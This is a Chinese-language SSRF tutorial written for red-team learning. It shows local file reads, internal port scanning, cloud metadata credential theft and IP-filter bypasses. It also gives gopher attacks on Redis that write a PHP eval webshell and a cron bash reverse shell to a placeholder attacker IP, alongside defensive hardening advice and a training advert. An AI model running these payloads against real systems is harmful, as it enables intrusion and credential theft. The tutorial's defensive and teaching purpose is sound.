🔒免责声明:本文仅供授权渗透测试、红蓝对抗、网络安全学习研究,全部实验操作务必在自建隔离靶场完成。未经授权对互联网业务实施 SSRF 攻击属于违法行为,请严格遵守网络安全相关法律法规。
前言
SSRF(Server‑Side Request Forgery,服务端请求伪造,CWE‑918)是红队实战中非常隐蔽但是利用价值极高的漏洞。漏洞根源:服务端接收用户可控 URL,代用户发起 HTTP / 其他协议请求,攻击者利用服务器作为跳板,访问内网资源、探测内网端口、读取本机敏感文件、甚至结合 Gopher 构造复杂攻击链打穿内网。
很多红队学习者只会最简单的?url=http://127.0.0.1:8080探测内网,遇到业务做了协议白名单、IP 黑名单过滤,或者内网存在 fastcgi、redis 这类特殊服务,就不知道怎么深度利用。SSRF 的真正价值不是简单的内网探测,而是利用 Gopher 协议构造完整 TCP 数据包,直接攻击内网 Redis、fastcgi、MySQL 等无 HTTP 交互协议服务,实现 RCE。
本文万字完整教程,从 SSRF 基础、常见触发场景、利用方式,深入讲解 URL 各种解析绕过(IP 过滤、DNS 重绑定、@、编码、短地址),重点实战 Gopher 协议构造攻击链(Redis 写 Webshell / 写 crontab、fastcgi RCE),SSRF 类型分类(回显 / 盲打),常见踩坑排错,代码审计检测,蓝队完整修复方案。适合 Web 渗透红队、SRC 白帽子、安全运维学习。
ATT&CK 映射:T1190 面向公众漏洞利用,T1046 网络服务扫描,T1498 网络拒绝服务(部分场景)。
涉及组件:curl、PHP file_get_contents、Python urllib/requests、Java HttpClient、Gopher。
一、SSRF 基础原理、触发场景、危害
1.1 漏洞成因
服务端代码接收用户可控的 URL 地址,直接发起网络请求,没有做任何过滤或白名单限制。
典型危险代码(PHP):
<?php $url = $_GET['url']; $content = file_get_contents($url); // 接收用户URL直接发请求 echo $content; ?>1.2 常见触发 SSRF 的功能场景(红队寻找漏洞点)
- URL 转码 / 预览功能:网页链接转二维码、链接预览、分享卡片、图片预览;
- 远程图片抓取:头像上传支持粘贴 URL,服务器拉取远程图片;
- Webhook 回调:配置回调地址,服务端发起请求;
- PDF/Word/ 图片生成:URL 渲染生成 PDF,内部可能用 wkhtmltoimage、html2image,这些工具支持 file:// 协议,可读本地文件甚至 RCE;
- XML 解析(XXE):XML 文档定义外部实体 DOCTYPE SYSTEM 加载外部资源,SSRF 衍生攻击面;
- SSO、OAuth 回调、文件导入导出、SVG 文件解析。
很多隐藏 SSRF 藏在这些功能,扫描器很难发现,红队需要手动结合业务功能挖掘。
1.3 SSRF 危害等级
| 危害 | 说明 |
|---|---|
| 内网资产探测 | 扫描内网存活主机、开放端口,绕过边界防火墙直接访问内网 |
| 读取本地文件 | file:// 协议读取服务器敏感文件(/etc/passwd、源码) |
| 攻击内网服务 | Gopher 构造数据包攻击 Redis、fastcgi、MySQL、ElasticSearch 内网服务 |
| 云元数据窃取 | 云环境访问 169.254.169.254 获取临时凭证(AWS)、metadata 服务(阿里云、腾讯云) |
| 绕过访问控制 | 服务端代请求,绕开来源 IP 限制、WAF、SSRF 直达内网管理后台 |
云环境 SSRF 危害极大,直接访问云元数据接口拿到 AccessKey,接管整个云账号资源。
二、SSRF 类型与基础利用
2.1 有回显 vs 无回显(盲 SSRF)
有回显 SSRF:服务端把请求返回内容直接展示在页面,可以直接读取内网 HTTP 服务响应内容、file:// 读取的文件内容。
无回显 / 盲 SSRF:页面不展示请求返回内容,只能通过:
- 时间延时:请求慢速 URL、sleep,观察响应时间;
- DNSlog 外带:构造请求到 dnslog 域名,观察 DNS 解析日志(测试
http://xxx.dnslog.cn); - 服务器日志:内网 / 目标服务日志留痕;
- 反弹连接:部分场景使用 nc 监听端口,服务端请求触发连接。
实战大量 SSRF 是盲 SSRF,没有回显,需要结合外带、延时判断漏洞是否存在。
2.2 file:// 协议读取本地文件(最常见入门利用)
PHP file_get_contents、curl 都支持 file 协议。
?url=file:///etc/passwd ?url=file:///etc/hosts ?url=file:///var/www/html/config.php # 读取web配置危险点:file 协议读取本地敏感文件,常见读取
/etc/passwd验证漏洞,进一步读取网站源码、数据库配置。
2.3 dict:// 协议探测内网端口(老 PHP 常见)
dict 协议可以发送 TCP 数据包,用于探测端口、获取服务 banner 信息。
?url=dict://127.0.0.1:6379/info # 探测redis,返回info信息 ?url=dict://127.0.0.1:80/info作用:dict 协议可以探测内网端口开放状态,获取服务指纹。老 PHP 版本支持 dict 协议,新版本 curl 默认可能禁用。
2.4 内网端口扫描利用
服务器代请求内网 IP + 端口,通过回显内容、延时、错误信息区分端口是否开放。
?url=http://192.168.1.1:80 ?url=http://192.168.1.1:22 ?url=http://192.168.1.1:3306结合盲 SSRF,可以用延时、DNSlog 方式逐端口测试。
2.5 gopher:// 协议(进阶核心,下面重点讲)
gopher 协议可以构造任意 TCP 数据包,是 SSRF 攻击内网无 HTTP 服务(redis、fastcgi、mysql)的利器。
gopher://192.168.1.10:6379/_数据2.6 云环境元数据 SSRF(实战高价值)
云服务器环境,内网 SSRF 直接访问云元数据接口窃取凭证。
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS http://169.254.169.254/computeMetadata/v1/ # 阿里云/腾讯云实战高危场景:拿到云实例 AccessKey 之后,可以直接登录云控制台、接管 OSS、RDS、ECS。
三、URL 解析与 IP 过滤的各种绕过姿势(红队核心)
很多业务对 SSRF 做防护:只允许 http/https、黑名单拦截 127.0.0.1、内网 IP 段、域名。这些过滤往往存在大量绕过点,是红队重点。
3.1 绕过 IP 黑名单(拦截 127.0.0.1、内网 IP)
方法 1:十六进制、八进制、十进制 IP 变形
127.0.0.1 → 0x7f000001 十六进制 127.0.0.1 → 0177.0.0.1 八进制 127.0.0.1 → 2130706433 十进制整数 127.0.0.1 → 0x7f.1方法 2:URL 语法变形
http://127.0.0.1 http://2130706433 http://0x7f000001 http://017700000001很多黑名单是字符串匹配
127.0.0.1,变形之后绕过黑名单,curl 等库会正确解析回 127.0.0.1。
方法 3:IPv6 地址绕过
内网监听 IPv4 的 127.0.0.1,使用 IPv6 表示本机:
http://[::1]:8080 http://[0:0:0:0:0:0:0:1] http://[0:0:0:0:0:ffff:127.0.0.1]方法 4:域名解析绕过
http://localhost http://localtest.me # 解析到127.0.0.1 http://127.0.0.1.nip.io http://spoofed.burpcollaborator.net方法 5:URL 用户信息 @符号
curl 等库会解析 @前面为用户名,实际请求 @后面的真实地址。
http://www.baidu.com@127.0.0.1:80 http://127.0.0.1@www.baidu.com黑名单检测
www.baidu.com白名单域名,实际 curl 访问 127.0.0.1,绕过域名校验。
方法 6:绕过 URL 开头 http/https 白名单校验
利用 URL 解析差异:
http://127.0.0.1#.com http://127.0.0.1@google.com http://0x7f000001/ http://2130706433注意:不同语言、不同库 URL 解析规则不同,PHP、Python urllib、Java 之间存在解析差异,产生大量绕过。
3.2 DNS 重绑定攻击(DNS Rebinding,绕过 IP 黑名单)
原理:SSRF 程序先解析域名检查 IP 是否内网,如果内网则拒绝;然后再次解析域名发起请求。
利用:DNS 服务器同一域名不同解析记录,第一次解析返回公网 IP 通过检查,第二次解析返回 127.0.0.1(内网 IP),两次解析结果不同,绕过 IP 黑名单。
工具:绑定公网和 127.0.0.1 的 DNS 重绑定域名服务(如
r.xxx.ceye.io),或者使用1.1.1.1.nip.io变体;实际测试需要多次请求。
3.3 短地址、URL 编码绕过
http://x.xxx/1 短地址跳转,最终跳转内网 URL双重编码 %252e3.4 302 重定向绕过
SSRF 客户端跟随重定向,构造一个公网 HTTP 服务返回 302 跳转到内网地址,绕过请求前 URL 检查。
攻击者服务器: 302 Location: http://127.0.0.1:8080Python requests、curl 默认跟随重定向;部分防护只检查第一次请求的 URL,不检查重定向后的地址。
3.5 绕过协议限制(只允许 http/https)
部分业务只允许 http/https 协议,可以通过下面方式读取其他协议内容:
- http 协议访问内网服务(redis 等无法用 http 直接交互);
- Gopher + 302 重定向:curl 某些版本支持重定向到 gopher,把 HTTP 请求重定向到
gopher://,间接使用 gopher 协议。
攻击者返回: 302 Location: gopher://127.0.0.1:6379/_命令四、Gopher 协议深入实战:攻击内网 Redis /fastcgi/ MySQL
Gopher 是 SSRF 打内网最核心的高级利用方式,构造原始 TCP 数据包,直接和无 HTTP 协议的内部服务交互。本部分是红队 SSRF 重点。
4.1 Gopher 协议基础
gopher://<host>:<port>/_<要发送的TCP数据(URL编码)>_后面是要发送的原始字节流,需要 URL 编码;服务端会把后面数据作为 TCP 发送给目标端口。
通用思路:把攻击内网服务需要发送的数据(redis 命令、fastcgi 数据包、http 请求)URL 编码之后拼接到 gopher URL。
4.2 使用 Gopherus 工具构造攻击链(首选工具)
Gopherus 自动生成针对 Redis、fastcgi、MySQL、SMTP、Memcached 的 gopher 攻击 payload。
python3 gopherus.py --exploit redis输入目标信息,自动输出 gopher:// 完整 payload,直接拼接到 SSRF URL。
4.3 攻击内网 Redis 写入 WebShell
前置条件:内网 Redis 服务未授权访问(没有密码),或者知道密码。
Redis 未授权可以直接写入 WebShell 到 web 目录,前提:
- 知道 web 绝对路径;
- 知道 web 服务启动用户对 web 目录有写权限;
- 通过 SSRF 的 gopher 协议连接 Redis 发送命令。
Redis 命令序列(写入 webshell):
set x "<?php @eval($_POST['cmd']);?>" config set dir /var/www/html/ config set dbfilename shell.php save把以上命令用 Redis 协议格式封装(*数组格式、$长度格式),URL 编码拼接到 gopher URL。
手工构造 Redis 协议数据包示例(简化):
*3\r\n$3\r\nset\r\n$1\r\nx\r\n$25\r\n<?php @eval($_POST['c']);?>\r\n实战踩坑:
- webshell 内容不能直接写,需要 URL 编码;
- 如果目标 Redis 前面有认证
requirepass,需要先 AUTH; - 目标 Redis 持久化关闭、目录权限不足,写入失败;
- 大部分生产 Redis 已配置未授权防护,成功率下降;优先测试内网独立 Redis。
4.4 攻击 Redis 写 Crontab(Linux 反弹 Shell)
Linux 服务器 Redis 未授权,写 crontab 计划任务反弹 shell。
命令序列:设置 dir 为/var/spool/cron/,dbfilename 为root,写入反弹 shell 命令。
config set dir /var/spool/cron/ config set dbfilename root set x "\n* * * * * bash -i >& /dev/tcp/攻击IP/端口 0>&1\n" save坑点:不同 Linux 发行版 cron 目录不同:CentOS
/var/spool/cron/root,Ubuntu/var/spool/cron/crontabs/root;反弹 shell 内部命令、空格需要 URL 编码。
4.5 Gopher 攻击内网 PHP‑FPM fastcgi(RCE 经典)
内网存在 PHP‑FPM fastcgi 服务(默认 127.0.0.1:9000),利用 Gopher 构造恶意 fastcgi 请求,执行任意 PHP 代码。
原理:PHP‑FPM 的 fastcgi 协议可以直接设置PHP_VALUE、PHP_ADMIN_VALUE、SCRIPT_FILENAME、auto_prepend_file等变量,把恶意 PHP 代码写入临时文件,通过 auto_prepend_file 加载执行。
使用 Gopherus 生成 payload:
python3 gopherus.py --exploit fastcgi前置条件:内网可达 fastcgi 端口 9000;目标 PHP 允许设置 auto_prepend_file。
4.6 Gopher 攻击内网 MySQL
SSRF 场景下 MySQL 一般不能直接读写,但可以结合其他攻击面;Gopher 可以构造 MySQL 握手包,更多用于信息探测。实战优先级低于 redis、fastcgi。
4.7 Gopher 攻击内网 HTTP 服务
内网存在 HTTP 服务,可以通过 Gopher 构造原始 HTTP 请求,绕过外网无法直接访问的限制,访问内网管理后台、未授权接口。
Gopher 攻击内网 HTTP payload:构造完整 HTTP 请求头 + 请求体,URL 编码。需要自己手写或者 Gopherus 生成。
4.8 Gopher 实战踩坑总结
- Gopher URL 编码必须完整,
\r\n要编码为%0d%0a,冒号、空格都要编码,一个字节错误整条数据包失败; - 部分 curl、PHP 版本禁用 gopher 协议,SSRF 无法利用;
- 目标端口需要防火墙放行,SSRF 所在服务器到目标内网服务必须网络可达;
- Redis 写入 webshell 经常因为 web 路径错误、权限不足失败;
- fastcgi 利用依赖 PHP 版本配置,新版 PHP 默认禁用部分危险配置。
五、SSRF 实战完整攻击流程(红队标准动作)
拿到一个可疑 SSRF,按下面流程系统化利用:
- 验证漏洞存在:发送
?url=http://127.0.0.1:80、?url=http://xxx.dnslog.cn,页面回显或 DNSlog 确认;无回显场景用延时验证; - 读取本地文件:测试
file:///etc/passwd,确认能否读取本地敏感文件;有回显读取源码、数据库配置; - 内网端口扫描:dict/http 协议探测内网网段存活主机、开放端口;结合延时、回显、错误区分;
- 云元数据探测:测试
169.254.169.254获取云凭证,这是高价值目标; - 尝试访问内网 HTTP 服务:直接请求内网管理后台、未授权接口;
- Gopher 深入利用:针对发现的内网 Redis(6379)、fastcgi(9000)、MySQL 等无 HTTP 服务,使用 Gopherus 构造攻击链,尝试 RCE;
- 组合利用:SSRF + 内网服务未授权 → RCE;SSRF + 文件包含 → 图片马执行。
红队排错:SSRF 利用不成功,优先排查请求是否被业务限制协议、是否有回显、目标内网网络是否可达。
六、SSRF 实战高频踩坑排错清单
问题 1:发送 gopher payload,目标端口无任何连接,无效果
- 目标 SSRF 所在服务器到目标内网端口网络不通(防火墙、ACL 拦截)——gopher 不能直接打通网络,必须先确认 SSRF 能访问目标端口;
- 目标 curl/PHP 版本禁用 gopher 协议,客户端直接报错;
- gopher URL 编码错误,数据包损坏,服务器无法解析;
- 目标服务未开放该端口(端口探测没做,直接盲打)。
建议:先用 dict:// 简单协议测试目标端口可达性,再上 Gopher 复杂攻击链。
问题 2:file:// 读取不了文件
- PHP/curl 环境禁用 file 协议;
- 无回显场景,需要外带方式;file 协议无回显无法直接验证读取内容。
问题 3:内网端口扫描无回显,判断不了是否开放
盲 SSRF 场景,使用http://ip:port/,观察响应时间差异、错误信息;或者让目标服务发起 DNS 请求 / HTTP 回调到 dnslog,通过日志确认连通。
问题 4:Redis 写入 webshell 成功但无法访问 webshell
- web 路径写错,写到 web 根目录外面;
- web 服务用户对目标目录无写权限;
- 上传目录禁止解析 PHP,前面文件上传章节已讲。
问题 5:gopher 构造复杂,手工拼接容易出错
强烈建议使用 Gopherus、相关脚本自动生成,减少手工编码错误。
七、代码审计与蓝队完整修复加固
7.1 代码审计危险特征
PHP 危险函数:file_get_contents($url)、curl_exec、fsockopen直接拼接用户 URL。
Python 危险:urllib.request.urlopen(user_input)、requests.get(user_input)、http.client.HTTPConnection。
Java 危险:URL.openConnection()、HttpClient.send接收用户 URL。
核心风险:用户可控 URL 直接作为请求目标,且未限制协议、IP、域名。
7.2 修复加固分层方案(生产落地)
方案 1:IP、域名白名单(首选)
业务如果功能固定,直接配置允许访问的目标域名 / IP 白名单;只有白名单内地址可以请求,SSRF 直接失效。
方案 2:协议白名单 + 解析后 IP 校验(必须做)
- 只允许 http、https 协议,禁用 file、gopher、dict、ftp 等危险协议;
- 先 DNS 解析 URL 得到 IP,校验 IP 不是内网 IP(127.0.0.1、10.x、172.16‑31.x、192.168.x、0.0.0.0、169.254.169.254),再发起请求;
- 注意:不能只校验字符串,必须解析成 IP 再校验,字符串校验容易用 IP 变形绕过;
- 同时禁用 URL 跳转跟随(或限制跳转后的目标也做校验),防止 302 重定向绕过。
方案 3:禁用危险函数、限制网络出口
- 非必要业务场景,禁用 PHP file_get_contents 危险协议;
- 服务器配置网络策略,Web 进程只能访问业务必须的外部地址,无法访问内网网段;出口网络限制,SSRF 即使存在也无法访问内网。
方案 4:无回显处理
不要直接把请求返回内容展示到页面,做二次渲染或截断,降低信息泄露。
重要:黑名单过滤不是有效防护。URL 解析差异、IP 变形、DNS 重绑定、302 跳转都能绕过黑名单。必须使用白名单 + 解析后 IP 校验,才能有效防御 SSRF。
7.3 云环境 SSRF 专项
云服务器业务,SSRF 防护尤其重要,云元数据 169.254.169.254 必须严格拦截;可配置 IMDS v2 强制、开启实例元数据服务访问控制,降低 SSRF 获取云凭证风险。
八、认知误区总结
误区 1:SSRF 只能用来内网端口扫描
❌错误。SSRF 可以读取本地文件、攻击内网 redis/fastcgi 实现 RCE、获取云凭证,端口扫描只是最基础用法,真正的价值是构造攻击链打穿内网。
误区 2:只要业务限制 http/https 协议,SSRF 就无法利用
❌错误。可以通过 302 重定向到 gopher、IP 变形、DNS 重绑定、@符号等多种方式绕过协议与 IP 限制,不要低估 SSRF 绕过能力。
误区 3:SSRF 可以利用 gopher 直接打通网络
❌错误。gopher 只是协议,需要 SSRF 所在服务器到目标内网服务网络本身可达,gopher 不能穿透防火墙 ACL。先探测端口,再上 gopher 攻击链。
误区 4:SSRF 有回显才算漏洞,无回显无法利用
❌错误。盲 SSRF 可以通过 DNSlog、延时、外带确认漏洞,结合 gopher 攻击 redis 等场景,无回显同样可以 RCE。
误区 5:黑名单过滤可以完全防御 SSRF
❌错误。IP 字符串黑名单、协议黑名单存在大量绕过手段,必须使用解析后 IP 校验 + 协议白名单。
误区 6:SSRF 利用成功一定可以马上 RCE
❌错误。SSRF 只是发起请求,能不能 RCE 取决于内网目标服务是否存在可利用条件(redis 未授权、fastcgi 可写等),需要组合漏洞,不是 SSRF 本身直接 RCE。
总结
SSRF 是红队实战中非常有价值的漏洞,它不像 SQL 注入、命令注入直接 RCE,而是作为内网入口跳板:读取本地文件、扫描内网资产、访问内网服务、获取云凭证,结合 Gopher 协议攻击内网 Redis、fastcgi 实现远程代码执行。
SSRF 最大的难点在绕过限制:IP 黑名单可以用十六进制 / 八进制 / 十进制 / IPv6 / 域名 /@符号 / DNS 重绑定绕过;协议限制用 302 重定向、URL 解析差异绕过。
Gopher 是 SSRF 攻击内网无 HTTP 协议服务的核心:攻击内网未授权 Redis 写入 Webshell 或 crontab、攻击 fastcgi 实现 PHP RCE。使用 Gopherus 工具自动生成 payload,避免手工编码错误。
防御层面,SSRF 最有效的防护不是黑名单,而是:协议白名单 + 解析后 IP 白名单校验 + 禁用危险函数 + 网络出口限制。业务不需要的功能(远程图片、链接预览)尽量收敛。
红队实战建议:发现 SSRF 优先测试 file:// 读取本地文件、云元数据、内网 Redis 未授权,这几个是高价值利用点。
最后
网络安全需要学习那些知识
网络安全零基础入门学习路线&规划
初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
网络安全工程师企业级学习路线
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些我自己买的、其他平台白嫖不到的视频教程:
要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】